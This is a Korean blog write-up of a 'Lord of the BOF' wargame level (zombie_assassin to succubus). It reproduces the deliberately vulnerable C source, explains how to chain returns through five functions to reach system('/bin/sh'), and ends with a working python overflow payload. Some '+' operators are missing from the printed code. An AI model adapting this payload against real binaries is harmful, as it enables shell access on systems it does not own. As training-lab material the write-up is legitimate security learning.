튜기's blogggg

LOB zombie_assassin -> succubus

by St1tch




/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc &lt; 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&amp;DO;
        if(memcmp(argv[1] 44, &amp;addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer 48 100, 0, 0xbfffffff - (int)(buffer 48 100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}



코드를 보면 MO까지 갔을때 전역변수 check가 4일때 system함수를 사용할 수 있게 되어있다.

MO까지 가려면 DO->GYE->GUL->YUT함수를 순서대로 거쳐서 check를 4를 만든 후 MO함수가 실행되어야한다.


또한 조건에서 공유라이브러리를 사용하지못하고, 스택또한 제한적으로 사용할 수 있다.

그리고 ret는 DO함수의 주소가 아니면 종료되도록 되어있다.

따라서 main함수 종료 -> DO함수 -> GYE함수 -> GUL함수 -> YUT함수 -> MO함수 -> system함수(쉘획득) 이 순서대로 가게끔 익스플로잇을 작성했다.


일단 스택의 구조를 살펴보면 간단하다.


이런식으로 buf를 채워주면 된다.

함수가 간단하기 때문에 바로바로 이어서 다음 함수의 주소를 넣어주면 된다.


마지막에서 system함수에 문자열 "/bin/sh"의 주소를 넣어주면 공격에 성공한다.




우선 gdb를 통해 각 함수의 주소를 구했다.


그리고 익스플로잇을 작성한 뒤 "/bin/sh"의 주소를 알기위해 대신에 "BBBB"를 넣어서 실행을 시킨 뒤 core파일을 확인했다.

BBBB뒤에 "/bin/sh"가 있기 때문에 0xbffffc48이 문자열의 주소이다.


이제 익스플로잇을 위한 모든정보를 획득했기 때문에 쉘을 획득할 수 있었다.

`python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "A"*4 + "\x48\xfc\xff\xbf" + "/bin/sh"'`





블로그의 정보

튜기's blogg(st1tch)

St1tch

활동하기